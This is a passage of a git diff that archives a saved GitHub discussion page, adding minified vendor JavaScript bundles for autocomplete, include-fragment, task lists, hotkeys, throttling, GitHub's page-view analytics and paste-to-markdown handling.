v.Z(c,m),this.feedback=document.getElementById(`${this.results.id}-feedback`),this.autoselectEnabled=A,this.clearButton=document.getElementById(`${this.input.id||this.input.name}-clear`),this.clientOptions=m.querySelectorAll("[role=option]"),this.feedback&&(this.feedback.setAttribute("aria-live","polite"),this.feedback.setAttribute("aria-atomic","true")),this.clearButton&&!this.clearButton.getAttribute("aria-label")){const k=document.querySelector(`label[for="${this.input.name}"]`);this.clearButton.setAttribute("aria-label","clear:"),this.clearButton.setAttribute("aria-labelledby",`${this.clearButton.id} ${(k==null?void 0:k.id)||""}`)}this.input.getAttribute("aria-expanded")||this.input.setAttribute("aria-expanded","false"),this.results.hidden=!0,this.results.setAttribute("aria-label","results"),this.input.setAttribute("autocomplete","off"),this.input.setAttribute("spellcheck","false"),this.interactingWithList=!1,this.onInputChange=S(this.onInputChange.bind(this),300),this.onResultsMouseDown=this.onResultsMouseDown.bind(this),this.onInputBlur=this.onInputBlur.bind(this),this.onInputFocus=this.onInputFocus.bind(this),this.onKeydown=this.onKeydown.bind(this),this.onCommit=this.onCommit.bind(this),this.handleClear=this.handleClear.bind(this),this.input.addEventListener("keydown",this.onKeydown),this.input.addEventListener("focus",this.onInputFocus),this.input.addEventListener("blur",this.onInputBlur),this.input.addEventListener("input",this.onInputChange),this.results.addEventListener("mousedown",this.onResultsMouseDown),this.results.addEventListener("combobox-commit",this.onCommit),(h=this.clearButton)===null||h===void 0||h.addEventListener("click",this.handleClear)}destroy(){this.input.removeEventListener("keydown",this.onKeydown),this.input.removeEventListener("focus",this.onInputFocus),this.input.removeEventListener("blur",this.onInputBlur),this.input.removeEventListener("input",this.onInputChange),this.results.removeEventListener("mousedown",this.onResultsMouseDown),this.results.removeEventListener("combobox-commit",this.onCommit)}handleClear(r){r.preventDefault(),this.input.getAttribute("aria-expanded")==="true"&&(this.input.setAttribute("aria-expanded","false"),this.updateFeedbackForScreenReaders("Results hidden.")),this.input.value="",this.container.value="",this.input.focus(),this.input.dispatchEvent(new Event("change")),this.container.open=!1}onKeydown(r){if(r.key==="Enter"&&this.container.open&&this.autoselectEnabled){const c=this.results.children[0];c&&(r.stopPropagation(),r.preventDefault(),this.onCommit({target:c}))}if(r.key==="Escape"&&this.container.open)this.container.open=!1,r.stopPropagation(),r.preventDefault();else if(r.altKey&&r.key==="ArrowUp"&&this.container.open)this.container.open=!1,r.stopPropagation(),r.preventDefault();else if(r.altKey&&r.key==="ArrowDown"&&!this.container.open){if(!this.input.value.trim())return;this.container.open=!0,r.stopPropagation(),r.preventDefault()}}onInputFocus(){this.fetchResults()}onInputBlur(){if(this.interactingWithList){this.interactingWithList=!1;return}this.container.open=!1}onCommit({target:r}){const c=r;if(!(c instanceof HTMLElement)||(this.container.open=!1,c instanceof HTMLAnchorElement))return;const m=c.getAttribute("data-autocomplete-value")||c.textContent;this.updateFeedbackForScreenReaders(`${c.textContent||""} selected.`),this.container.value=m,m||this.updateFeedbackForScreenReaders("Results hidden.")}onResultsMouseDown(){this.interactingWithList=!0}onInputChange(){this.feedback&&this.feedback.innerHTML&&(this.feedback.innerHTML=""),this.container.removeAttribute("value"),this.fetchResults()}identifyOptions(){let r=0;for(const c of this.results.querySelectorAll('[role="option"]:not([id])'))c.id=`${this.results.id}-option-${r++}`}updateFeedbackForScreenReaders(r){setTimeout(()=>{this.feedback&&(this.feedback.innerHTML=r)},d)}fetchResults(){const r=this.input.value.trim();if(!r){this.container.open=!1;return}const c=this.container.src;if(!c)return;const m=new URL(c,window.location.href),A=new URLSearchParams(m.search.slice(1));A.append("q",r),m.search=A.toString(),this.container.dispatchEvent(new CustomEvent("loadstart")),p(this.input,m.toString()).then(h=>{this.results.innerHTML=h,this.identifyOptions();const k=this.results.querySelectorAll('[role="option"]'),b=!!k.length,E=k.length,[g]=k,L=g==null?void 0:g.textContent;this.autoselectEnabled&&L?this.updateFeedbackForScreenReaders(`${E} results. ${L} is the top result: Press Enter to activate.`):this.updateFeedbackForScreenReaders(`${E||"No"} results.`),this.container.open=b,this.container.dispatchEvent(new CustomEvent("load")),this.container.dispatchEvent(new CustomEvent("loadend"))}).catch(()=>{this.container.dispatchEvent(new CustomEvent("error")),this.container.dispatchEvent(new CustomEvent("loadend"))})}open(){!this.results.hidden||(this.combobox.start(),this.results.hidden=!1)}close(){this.results.hidden||(this.combobox.stop(),this.results.hidden=!0)}}o(e,"Autocomplete");const n=new WeakMap;class t extends HTMLElement{connectedCallback(){const r=this.getAttribute("for");if(!r)return;const c=this.querySelector("input"),m=document.getElementById(r);if(!(c instanceof HTMLInputElement)||!m)return;const A=this.getAttribute("data-autoselect")==="true";n.set(this,new e(this,c,m,A)),m.setAttribute("role","listbox")}disconnectedCallback(){const r=n.get(this);r&&(r.destroy(),n.delete(this))}get src(){return this.getAttribute("src")||""}set src(r){this.setAttribute("src",r)}get value(){return this.getAttribute("value")||""}set value(r){this.setAttribute("value",r)}get open(){return this.hasAttribute("open")}set open(r){r?this.setAttribute("open",""):this.removeAttribute("open")}static get observedAttributes(){return["open","value"]}attributeChangedCallback(r,c,m){if(c===m)return;const A=n.get(this);if(!!A)switch(r){case"open":m===null?A.close():A.open();break;case"value":m!==null&&(A.input.value=m),this.dispatchEvent(new u("auto-complete-change",{bubbles:!0,relatedTarget:A.input}));break}}}o(t,"AutocompleteElement"),window.customElements.get("auto-complete")||(window.AutocompleteElement=t,window.customElements.define("auto-complete",t));const a=t},10160:(D,x,M)=>{M.d(x,{Z:()=>u});const v=!!navigator.userAgent.match(/Macintosh/);class u{constructor(a,l){this.input=a,this.list=l,this.isComposing=!1,l.id||(l.id=`combobox-${Math.random().toString().slice(2,6)}`),this.keyboardEventHandler=r=>S(r,this),this.compositionEventHandler=r=>d(r,this),this.inputHandler=this.clearSelection.bind(this),a.setAttribute("role","combobox"),a.setAttribute("aria-controls",l.id),a.setAttribute("aria-expanded","false"),a.setAttribute("aria-autocomplete","list"),a.setAttribute("aria-haspopup","listbox")}destroy(){this.clearSelection(),this.stop(),this.input.removeAttribute("role"),this.input.removeAttribute("aria-controls"),this.input.removeAttribute("aria-expanded"),this.input.removeAttribute("aria-autocomplete"),this.input.removeAttribute("aria-haspopup")}start(){this.input.setAttribute("aria-expanded","true"),this.input.addEventListener("compositionstart",this.compositionEventHandler),this.input.addEventListener("compositionend",this.compositionEventHandler),this.input.addEventListener("input",this.inputHandler),this.input.addEventListener("keydown",this.keyboardEventHandler),this.list.addEventListener("click",w)}stop(){this.clearSelection(),this.input.setAttribute("aria-expanded","false"),this.input.removeEventListener("compositionstart",this.compositionEventHandler),this.input.removeEventListener("compositionend",this.compositionEventHandler),this.input.removeEventListener("input",this.inputHandler),this.input.removeEventListener("keydown",this.keyboardEventHandler),this.list.removeEventListener("click",w)}navigate(a=1){const l=Array.from(this.list.querySelectorAll('[aria-selected="true"]')).filter(_)[0],r=Array.from(this.list.querySelectorAll('[role="option"]')).filter(_),c=r.indexOf(l);if(c===r.length-1&&a===1||c===0&&a===-1){this.clearSelection(),this.input.focus();return}let m=a===1?0:r.length-1;if(l&&c>=0){const h=c+a;h>=0&&h0||t.offsetHeight>0)}o(_,"visible");function d(t,a){a.isComposing=t.type==="compositionstart",!!document.getElementById(a.input.getAttribute("aria-controls")||"")&&a.clearSelection()}o(d,"trackComposition");function e(t,a){n(t,a)||(t.scrollTop=a.offsetTop)}o(e,"scrollTo");function n(t,a){const l=t.scrollTop,r=l+t.clientHeight,c=a.offsetTop,m=c+a.clientHeight;return c>=l&&m<=r}o(n,"inViewport")},27034:(D,x,M)=>{M.d(x,{Z:()=>d});const v=new WeakMap,u=new IntersectionObserver(e=>{for(const n of e)if(n.isIntersecting){const{target:t}=n;if(u.unobserve(t),!(t instanceof d))return;t.loading==="lazy"&&w(t)}},{rootMargin:"0px 0px 256px 0px",threshold:.01});function S(){return new Promise(e=>setTimeout(e,0))}o(S,"task");async function w(e){return u.unobserve(e),p(e).then(function(n){const t=document.createElement("template");t.innerHTML=n;const a=document.importNode(t.content,!0);!e.dispatchEvent(new CustomEvent("include-fragment-replace",{cancelable:!0,detail:{fragment:a}}))||(e.replaceWith(a),e.dispatchEvent(new CustomEvent("include-fragment-replaced")))},function(){e.classList.add("is-error")})}o(w,"handleData");function p(e){const n=e.src;let t=v.get(e);return t&&t.src===n?t.data:(n?t=y(e):t=Promise.reject(new Error("missing src")),v.set(e,{src:n,data:t}),t)}o(p,"getData");function y(e){return S().then(()=>(e.dispatchEvent(new Event("loadstart")),e.fetch(e.request()))).then(n=>{if(n.status!==200)throw new Error(`Failed to load resource: the server responded with a status of ${n.status}`);const t=n.headers.get("Content-Type");if(!_(e.accept)&&(!t||!t.includes(e.accept?e.accept:"text/html")))throw new Error(`Failed to load resource: expected ${e.accept||"text/html"} but was ${t}`);return n.text()}).then(n=>(S().then(()=>{e.dispatchEvent(new Event("load")),e.dispatchEvent(new Event("loadend"))}),n),n=>{throw S().then(()=>{e.dispatchEvent(new Event("error")),e.dispatchEvent(new Event("loadend"))}),n})}o(y,"fetchDataWithEvents");function _(e){return e&&!!e.split(",").find(n=>n.match(/^\s*\*\/\*/))}o(_,"isWildcard");class d extends HTMLElement{static get observedAttributes(){return["src","loading"]}get src(){const n=this.getAttribute("src");if(n){const t=this.ownerDocument.createElement("a");return t.href=n,t.href}else return""}set src(n){this.setAttribute("src",n)}get loading(){return this.getAttribute("loading")==="lazy"?"lazy":"eager"}set loading(n){this.setAttribute("loading",n)}get accept(){return this.getAttribute("accept")||""}set accept(n){this.setAttribute("accept",n)}get data(){return p(this)}attributeChangedCallback(n,t){n==="src"?this.isConnected&&this.loading==="eager"&&w(this):n==="loading"&&this.isConnected&&t!=="eager"&&this.loading==="eager"&&w(this)}constructor(){super();this.attachShadow({mode:"open"}).innerHTML=` + + `}connectedCallback(){this.src&&this.loading==="eager"&&w(this),this.loading==="lazy"&&u.observe(this)}request(){const n=this.src;if(!n)throw new Error("missing src");return new Request(n,{method:"GET",credentials:"same-origin",headers:{Accept:this.accept||"text/html"}})}load(){return p(this)}fetch(n){return fetch(n)}}o(d,"IncludeFragmentElement"),window.customElements.get("include-fragment")||(window.IncludeFragmentElement=d,window.customElements.define("include-fragment",d))},40987:(D,x,M)=>{M.d(x,{Z:()=>l});const v=new WeakMap;let u=null;function S(){return!!u}o(S,"isDragging");function w(i,s,f){v.set(i,{sortStarted:s,sortFinished:f}),i.addEventListener("dragstart",_),i.addEventListener("dragenter",d),i.addEventListener("dragend",n),i.addEventListener("drop",e),i.addEventListener("dragover",t)}o(w,"sortable");function p(i,s){if(i.parentNode===s.parentNode){let f=i;for(;f;){if(f===s)return!0;f=f.previousElementSibling}}return!1}o(p,"isBefore");function y(i,s){return i.closest("task-lists")===s.closest("task-lists")}o(y,"isSameContainer");function _(i){if(i.currentTarget!==i.target)return;const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest(".contains-task-list");if(!f||(s.classList.add("is-ghost"),i.dataTransfer&&i.dataTransfer.setData("text/plain",(s.textContent||"").trim()),!s.parentElement))return;const C=Array.from(s.parentElement.children),F=C.indexOf(s),B=v.get(s);B&&B.sortStarted(f),u={didDrop:!1,dragging:s,dropzone:s,sourceList:f,sourceSibling:C[F+1]||null,sourceIndex:F}}o(_,"onDragStart");function d(i){if(!u)return;const s=i.currentTarget;if(s instanceof Element){if(!y(u.dragging,s)){i.stopPropagation();return}i.preventDefault(),i.dataTransfer&&(i.dataTransfer.dropEffect="move"),u.dropzone!==s&&(u.dragging.classList.add("is-dragging"),u.dropzone=s,p(u.dragging,s)?s.before(u.dragging):s.after(u.dragging))}}o(d,"onDragEnter");function e(i){if(!u)return;i.preventDefault(),i.stopPropagation();const s=i.currentTarget;if(!(s instanceof Element)||(u.didDrop=!0,!u.dragging.parentElement))return;let f=Array.from(u.dragging.parentElement.children).indexOf(u.dragging);const C=s.closest(".contains-task-list");if(!C||u.sourceIndex===f&&u.sourceList===C)return;u.sourceList===C&&u.sourceIndex{const C=f.target;C instanceof HTMLInputElement&&(!C.classList.contains("task-list-item-checkbox")||this.dispatchEvent(new CustomEvent("task-lists-check",{bubbles:!0,detail:{position:k(C),checked:C.checked}})))});const s=new MutationObserver(L.bind(null,this));a.set(this,s),s.observe(this,{childList:!0,subtree:!0}),L(this)}disconnectedCallback(){const s=a.get(this);s&&s.disconnect()}get disabled(){return this.hasAttribute("disabled")}set disabled(s){s?this.setAttribute("disabled",""):this.removeAttribute("disabled")}get sortable(){return this.hasAttribute("sortable")}set sortable(s){s?this.setAttribute("sortable",""):this.removeAttribute("sortable")}static get observedAttributes(){return["disabled"]}attributeChangedCallback(s,f,C){if(f!==C)switch(s){case"disabled":R(this);break}}}o(l,"TaskListsElement");const r=document.createElement("template");r.innerHTML=` + + + `;const c=new WeakMap;function m(i){if(c.get(i))return;c.set(i,!0);const s=i.closest("task-lists");if(!(s instanceof l)||s.querySelectorAll(".task-list-item").length<=1)return;const f=r.content.cloneNode(!0),C=f.querySelector(".handle");if(i.prepend(f),!C)throw new Error("handle not found");C.addEventListener("mouseenter",P),C.addEventListener("mouseleave",H),w(i,T,q),i.addEventListener("mouseenter",A),i.addEventListener("mouseleave",h)}o(m,"initItem");function A(i){const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest("task-lists");f instanceof l&&f.sortable&&!f.disabled&&s.classList.add("hovered")}o(A,"onListItemMouseOver");function h(i){const s=i.currentTarget;s instanceof Element&&s.classList.remove("hovered")}o(h,"onListItemMouseOut");function k(i){const s=b(i);if(!s)throw new Error(".contains-task-list not found");const f=i.closest(".task-list-item"),C=Array.from(s.children).filter(B=>B.tagName==="LI"),F=f?C.indexOf(f):-1;return[O(s),F]}o(k,"position");function b(i){const s=i.parentElement;return s?s.closest(".contains-task-list"):null}o(b,"taskList");function E(i){return b(i)===g(i)}o(E,"isRootTaskList");function g(i){const s=b(i);return s?g(s)||s:null}o(g,"rootTaskList");function L(i){const s=i.querySelectorAll(".contains-task-list > .task-list-item");for(const f of s)E(f)&&m(f);R(i)}o(L,"syncState");function R(i){for(const s of i.querySelectorAll(".task-list-item"))s.classList.toggle("enabled",!i.disabled);for(const s of i.querySelectorAll(".task-list-item-checkbox"))s instanceof HTMLInputElement&&(s.disabled=i.disabled)}o(R,"syncDisabled");function O(i){const s=i.closest("task-lists");if(!s)throw new Error("parent not found");return Array.from(s.querySelectorAll("ol, ul")).indexOf(i)}o(O,"listIndex");const I=new WeakMap;function T(i){const s=i.closest("task-lists");if(!s)throw new Error("parent not found");I.set(s,Array.from(s.querySelectorAll("ol, ul")))}o(T,"onSortStart");function q({src:i,dst:s}){const f=i.list.closest("task-lists");if(!f)return;const C=I.get(f);!C||(I.delete(f),f.dispatchEvent(new CustomEvent("task-lists-move",{bubbles:!0,detail:{src:[C.indexOf(i.list),i.index],dst:[C.indexOf(s.list),s.index]}})))}o(q,"onSorted");function P(i){const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest(".task-list-item");if(!f)return;const C=f.closest("task-lists");C instanceof l&&C.sortable&&!C.disabled&&f.setAttribute("draggable","true")}o(P,"onHandleMouseOver");function H(i){if(S())return;const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest(".task-list-item");!f||f.setAttribute("draggable","false")}o(H,"onHandleMouseOut"),window.customElements.get("task-lists")||(window.TaskListsElement=l,window.customElements.define("task-lists",l))}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed-f8db72a328a9.js.map \ No newline at end of file diff --git a/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_index_js-node_.js b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_index_js-node_.js new file mode 100644 index 0000000..4e18cc6 --- /dev/null +++ b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_index_js-node_.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var D=Object.defineProperty;var c=(x,C)=>D(x,"name",{value:C,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"],{46263:(x,C,N)=>{N.d(C,{D:()=>b,P:()=>p});function p(_,m=0,{start:y=!0,middle:u=!0,once:w=!1}={}){let h=0,l,f=!1;function v(...k){if(f)return;const T=Date.now()-h;h=Date.now(),y?(y=!1,_.apply(this,k),w&&v.cancel()):(u&&T{h=Date.now(),_.apply(this,k),w&&v.cancel()},u?m-T:m))}return c(v,"fn"),v.cancel=()=>{clearTimeout(l),f=!0},v}c(p,"throttle");function b(_,m=0,{start:y=!1,middle:u=!1,once:w=!1}={}){return p(_,m,{start:y,middle:u,once:w})}c(b,"debounce")},11793:(x,C,N)=>{N.d(C,{EL:()=>u,N9:()=>W,Tz:()=>S});class p{constructor(o){this.children=[],this.parent=o}delete(o){const r=this.children.indexOf(o);return r===-1?!1:(this.children=this.children.slice(0,r).concat(this.children.slice(r+1)),this.children.length===0&&this.parent.delete(this),!0)}add(o){return this.children.push(o),this}}c(p,"Leaf");class b{constructor(o){this.parent=null,this.children={},this.parent=o||null}get(o){return this.children[o]}insert(o){let r=this;for(let g=0;gd.filter(n=>n!=="")).filter(d=>d.length>0)}c(y,"expandHotkeyToEdges");function u(a){const{ctrlKey:o,altKey:r,metaKey:g,key:d}=a,n=[],e=[o,r,g,h(a)];for(const[t,i]of e.entries())i&&n.push(w[t]);return w.includes(d)||n.push(d),n.join("+")}c(u,"hotkey");const w=["Control","Alt","Meta","Shift"];function h(a){const{shiftKey:o,code:r,key:g}=a;return o&&!(r.startsWith("Key")&&g.toUpperCase()===g)}c(h,"showShift");const l=new b,f=new WeakMap;let v=l,k=null,T=[];function P(){T=[],k=null,v=l}c(P,"resetTriePosition");function I(a){if(a.defaultPrevented||!(a.target instanceof Node))return;if(_(a.target)){const r=a.target;if(!r.id||!r.ownerDocument.querySelector(`[data-hotkey-scope="${r.id}"]`))return}k!=null&&window.clearTimeout(k),k=window.setTimeout(P,1500);const o=v.get(u(a));if(!o){P();return}if(T.push(u(a)),v=o,o instanceof p){const r=a.target;let g=!1,d;const n=_(r);for(let e=o.children.length-1;e>=0;e-=1){d=o.children[e];const t=d.getAttribute("data-hotkey-scope");if(!n&&!t||n&&r.id===t){g=!0;break}}d&&g&&(m(d,T),a.preventDefault()),P()}}c(I,"keyDownHandler");function W(a,o){Object.keys(l.children).length===0&&document.addEventListener("keydown",I);const g=y(o||a.getAttribute("data-hotkey")||"").map(d=>l.insert(d).add(a));f.set(a,g)}c(W,"install");function S(a){const o=f.get(a);if(o&&o.length)for(const r of o)r&&r.delete(a);Object.keys(l.children).length===0&&document.removeEventListener("keydown",I)}c(S,"uninstall")},86058:(x,C,N)=>{N.d(C,{R:()=>w});function p(){let h;try{h=window.top.document.referrer}catch{if(window.parent)try{h=window.parent.document.referrer}catch{}}return h===""&&(h=document.referrer),h}c(p,"getReferrer");function b(){try{return`${screen.width}x${screen.height}`}catch{return"unknown"}}c(b,"getScreenResolution");function _(){let h=0,l=0;try{return typeof window.innerWidth=="number"?(l=window.innerWidth,h=window.innerHeight):document.documentElement!=null&&document.documentElement.clientWidth!=null?(l=document.documentElement.clientWidth,h=document.documentElement.clientHeight):document.body!=null&&document.body.clientWidth!=null&&(l=document.body.clientWidth,h=document.body.clientHeight),`${l}x${h}`}catch{return"unknown"}}c(_,"getBrowserResolution");function m(){return navigator.languages?navigator.languages.join(","):navigator.language||""}c(m,"getBrowserLanguages");function y(){return{referrer:p(),user_agent:navigator.userAgent,screen_resolution:b(),browser_resolution:_(),browser_languages:m(),pixel_ratio:window.devicePixelRatio,timestamp:Date.now(),tz_seconds:new Date().getTimezoneOffset()*-60}}c(y,"getRequestContext");var u=N(82918);class w{constructor(l){this.options=l}get collectorUrl(){return this.options.collectorUrl}get clientId(){return this.options.clientId?this.options.clientId:(0,u.b)()}createEvent(l){return{page:location.href,title:document.title,context:{...this.options.baseContext,...l}}}sendPageView(l){const f=this.createEvent(l);this.send({page_views:[f]})}sendEvent(l,f){const v={...this.createEvent(f),type:l};this.send({events:[v]})}send({page_views:l,events:f}){const v={client_id:this.clientId,page_views:l,events:f,request_context:y()},k=JSON.stringify(v);try{if(navigator.sendBeacon){navigator.sendBeacon(this.collectorUrl,k);return}}catch{}fetch(this.collectorUrl,{method:"POST",cache:"no-cache",headers:{"Content-Type":"application/json"},body:k,keepalive:!1})}}c(w,"AnalyticsClient")},82918:(x,C,N)=>{N.d(C,{b:()=>y});let p;function b(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}.${Math.round(Date.now()/1e3)}`}c(b,"generateClientId");function _(u){const w=`GH1.1.${u}`,h=Date.now(),l=new Date(h+1*365*86400*1e3).toUTCString();let{domain:f}=document;f.endsWith(".github.com")&&(f="github.com"),document.cookie=`_octo=${w}; expires=${l}; path=/; domain=${f}; secure; samesite=lax`}c(_,"setClientIdCookie");function m(){let u;const h=document.cookie.match(/_octo=([^;]+)/g);if(!h)return;let l=[0,0];for(const f of h){const[,v]=f.split("="),[,k,...T]=v.split("."),P=k.split("-").map(Number);P>l&&(l=P,u=T.join("."))}return u}c(m,"getClientIdFromCookie");function y(){try{const u=m();if(u)return u;const w=b();return _(w),w}catch{return p||(p=b()),p}}c(y,"getOrCreateClientId")},88149:(x,C,N)=>{N.d(C,{n:()=>p});function p(b="ha"){let _;const m={},y=document.head.querySelectorAll(`meta[name^="${b}-"]`);for(const u of Array.from(y)){const{name:w,content:h}=u,l=w.replace(`${b}-`,"").replace(/-/g,"_");l==="url"?_=h:m[l]=h}if(!_)throw new Error(`AnalyticsClient ${b}-url meta tag not found`);return{collectorUrl:_,...Object.keys(m).length>0?{baseContext:m}:{}}}c(p,"getOptionsFromMeta")},38772:(x,C,N)=>{N.d(C,{dy:()=>o,sY:()=>r,Au:()=>n});var p=N(69567);const b=new WeakSet;function _(e){return b.has(e)}c(_,"isDirective");function m(e,t){return _(t)?(t(e),!0):!1}c(m,"processDirective");function y(e){return(...t)=>{const i=e(...t);return b.add(i),i}}c(y,"directive");const u=new WeakMap;class w{constructor(t,i){this.element=t,this.type=i,this.element.addEventListener(this.type,this),u.get(this.element).set(this.type,this)}set(t){typeof t=="function"?this.handleEvent=t.bind(this.element):typeof t=="object"&&typeof t.handleEvent=="function"?this.handleEvent=t.handleEvent.bind(t):(this.element.removeEventListener(this.type,this),u.get(this.element).delete(this.type))}static for(t){u.has(t.element)||u.set(t.element,new Map);const i=t.attributeName.slice(2),s=u.get(t.element);return s.has(i)?s.get(i):new w(t.element,i)}}c(w,"EventHandler");function h(e,t){return e instanceof p.sV&&e.attributeName.startsWith("on")?(w.for(e).set(t),e.element.removeAttributeNS(e.attributeNamespace,e.attributeName),!0):!1}c(h,"processEvent");function l(e,t){return t instanceof S&&e instanceof p.GZ?(t.renderInto(e),!0):!1}c(l,"processSubTemplate");function f(e,t){return t instanceof DocumentFragment&&e instanceof p.GZ?(t.childNodes.length&&e.replace(...t.childNodes),!0):!1}c(f,"processDocumentFragment");function v(e){return typeof e=="object"&&Symbol.iterator in e}c(v,"isIterable");function k(e,t){if(!v(t))return!1;if(e instanceof p.GZ){const i=[];for(const s of t)if(s instanceof S){const E=document.createDocumentFragment();s.renderInto(E),i.push(...E.childNodes)}else s instanceof DocumentFragment?i.push(...s.childNodes):i.push(String(s));return i.length&&e.replace(...i),!0}else return e.value=Array.from(t).join(" "),!0}c(k,"processIterable");function T(e,t){m(e,t)||(0,p.W_)(e,t)||h(e,t)||l(e,t)||f(e,t)||k(e,t)||(0,p.Al)(e,t)}c(T,"processPart");const P=new WeakMap,I=new WeakMap,W=new WeakMap;class S{constructor(t,i,s){this.strings=t,this.values=i,this.processor=s}get template(){if(P.has(this.strings))return P.get(this.strings);{const t=document.createElement("template"),i=this.strings.length-1;return t.innerHTML=this.strings.reduce((s,E,F)=>s+E+(Ft=>{g.has(t)||g.set(t,{i:e.length});const i=g.get(t);for(let s=0;s{st=>{if(!(t instanceof p.GZ))return;const i=document.createElement("template");i.innerHTML=e;const s=document.importNode(i.content,!0);t.replace(...s.childNodes)})},69567:(x,C,N)=>{N.d(C,{sV:()=>u,GZ:()=>v,R:()=>d,AQ:()=>k,W_:()=>P,Al:()=>T,XK:()=>W});function*p(n){let e="",t=0,i=!1;for(let s=0;stypeof i=="string"?i:i.value).join("");this.element.setAttributeNS(this.attr.namespaceURI,this.attr.name,t)}}}c(w,"AttributeValueSetter");var h=function(n,e,t){if(!e.has(n))throw new TypeError("attempted to set private field on non-instance");return e.set(n,t),t},l=function(n,e){if(!e.has(n))throw new TypeError("attempted to get private field on non-instance");return e.get(n)},f;class v{constructor(e,t){this.expression=t,f.set(this,void 0),h(this,f,[e]),e.textContent=""}get value(){return l(this,f).map(e=>e.textContent).join("")}set value(e){this.replace(e)}get previousSibling(){return l(this,f)[0].previousSibling}get nextSibling(){return l(this,f)[l(this,f).length-1].nextSibling}replace(...e){const t=e.map(i=>typeof i=="string"?new Text(i):i);t.length||t.push(new Text("")),l(this,f)[0].before(...t);for(const i of l(this,f))i.remove();h(this,f,t)}}c(v,"NodeTemplatePart"),f=new WeakMap;function k(n){return{createCallback(e,t,i){this.processCallback(e,t,i)},processCallback(e,t,i){var s;if(!(typeof i!="object"||!i)){for(const E of t)if(E.expression in i){const F=(s=i[E.expression])!==null&&s!==void 0?s:"";n(E,F)}}}}}c(k,"createProcessor");function T(n,e){n.value=String(e)}c(T,"processPropertyIdentity");function P(n,e){return typeof e=="boolean"&&n instanceof u&&typeof n.element[n.attributeName]=="boolean"?(n.booleanValue=e,!0):!1}c(P,"processBooleanAttribute");const I=k(T),W=k((n,e)=>{P(n,e)||T(n,e)});var S=function(n,e,t){if(!e.has(n))throw new TypeError("attempted to set private field on non-instance");return e.set(n,t),t},a=function(n,e){if(!e.has(n))throw new TypeError("attempted to get private field on non-instance");return e.get(n)},o,r;function*g(n){const e=n.ownerDocument.createTreeWalker(n,NodeFilter.SHOW_TEXT|NodeFilter.SHOW_ELEMENT,null,!1);let t;for(;t=e.nextNode();)if(t instanceof Element&&t.hasAttributes())for(let i=0;i{var he=Object.defineProperty;var i=(N,M)=>he(N,"name",{value:M,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537"],{52769:(N,M,E)=>{"use strict";E.d(M,{Ld:()=>oe});function b(f,y){var k,C,O;const q=f.value.slice(0,(k=f.selectionStart)!==null&&k!==void 0?k:void 0),Y=f.value.slice((C=f.selectionEnd)!==null&&C!==void 0?C:void 0);let J=!0;f.contentEditable="true";try{J=document.execCommand("insertText",!1,y)}catch{J=!1}if(f.contentEditable="false",J&&!f.value.slice(0,(O=f.selectionStart)!==null&&O!==void 0?O:void 0).endsWith(y)&&(J=!1),!J){try{document.execCommand("ms-beginUndoUnit")}catch{}f.value=q+y+Y;try{document.execCommand("ms-endUndoUnit")}catch{}f.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!0}))}}i(b,"insertText");const _=new WeakMap;function h(f){const{currentTarget:y}=f,k=f.code==="KeyV"&&(f.ctrlKey||f.metaKey)&&f.shiftKey;(k||k&&f.altKey)&&_.set(y,!0)}i(h,"setSkipFormattingFlag");function v(f){const{currentTarget:y}=f;_.delete(y)}i(v,"unsetSkipFormattedFlag");function e(f){var y;return(y=_.get(f))!==null&&y!==void 0?y:!1}i(e,"shouldSkipFormatting");function o(f,...y){f.addEventListener("keydown",h);for(const k of y)k(f);f.addEventListener("paste",v)}i(o,"installAround");function t(f){f.removeEventListener("keydown",h),f.removeEventListener("paste",v)}i(t,"uninstall$5");function n(f){f.addEventListener("paste",l)}i(n,"install$4");function r(f){f.removeEventListener("paste",l)}i(r,"uninstall$4");function l(f){const y=f.clipboardData,{currentTarget:k}=f;if(e(k)||!y||!c(y))return;const C=f.currentTarget;if(!(C instanceof HTMLTextAreaElement))return;let O=y.getData("text/plain");const q=y.getData("text/html"),Y=q.replace(/\u00A0/g," ").replace(/\uC2A0/g," ");if(!q||(O=O.trim(),!O))return;const Z=new DOMParser().parseFromString(Y,"text/html"),Q=Z.createTreeWalker(Z.body,NodeFilter.SHOW_ELEMENT,fe=>fe.parentNode&&s(fe.parentNode)?NodeFilter.FILTER_REJECT:NodeFilter.FILTER_ACCEPT),se=u(O,Q);se!==O&&(f.stopPropagation(),f.preventDefault(),b(C,se))}i(l,"onPaste$4");function u(f,y){var k;let C=y.firstChild(),O=f,q=0,Y=0;const J=1e4;for(;C&&Y=0)if(s(C)){const se=m(C,Z);O=O.slice(0,Q)+se+O.slice(Q+Z.length),q=Q+se.length}else q=Q+Z.length;C=y.nextNode()}return Y===J?f:O}i(u,"convertToMarkdown");function a(f){return!f||(f==null?void 0:f.trim().length)===0}i(a,"isEmptyString");function s(f){var y;return((y=f.tagName)===null||y===void 0?void 0:y.toLowerCase())==="a"&&f.hasAttribute("href")}i(s,"isLink");function c(f){return f.types.includes("text/html")}i(c,"hasHTML");function m(f,y){const k=f.href||"";let C="";return g(f)?C=y:d(f)||p(k,y)?C=k:C=`[${y}](${k})`,C}i(m,"linkify$2");function d(f){return f.className.indexOf("commit-link")>=0||!!f.getAttribute("data-hovercard-type")&&f.getAttribute("data-hovercard-type")!=="user"}i(d,"isSpecialLink");function p(f,y){return f=f.slice(-1)==="/"?f.slice(0,-1):f,y=y.slice(-1)==="/"?y.slice(0,-1):y,f.toLowerCase()===y.toLowerCase()}i(p,"areEqualLinks");function g(f){var 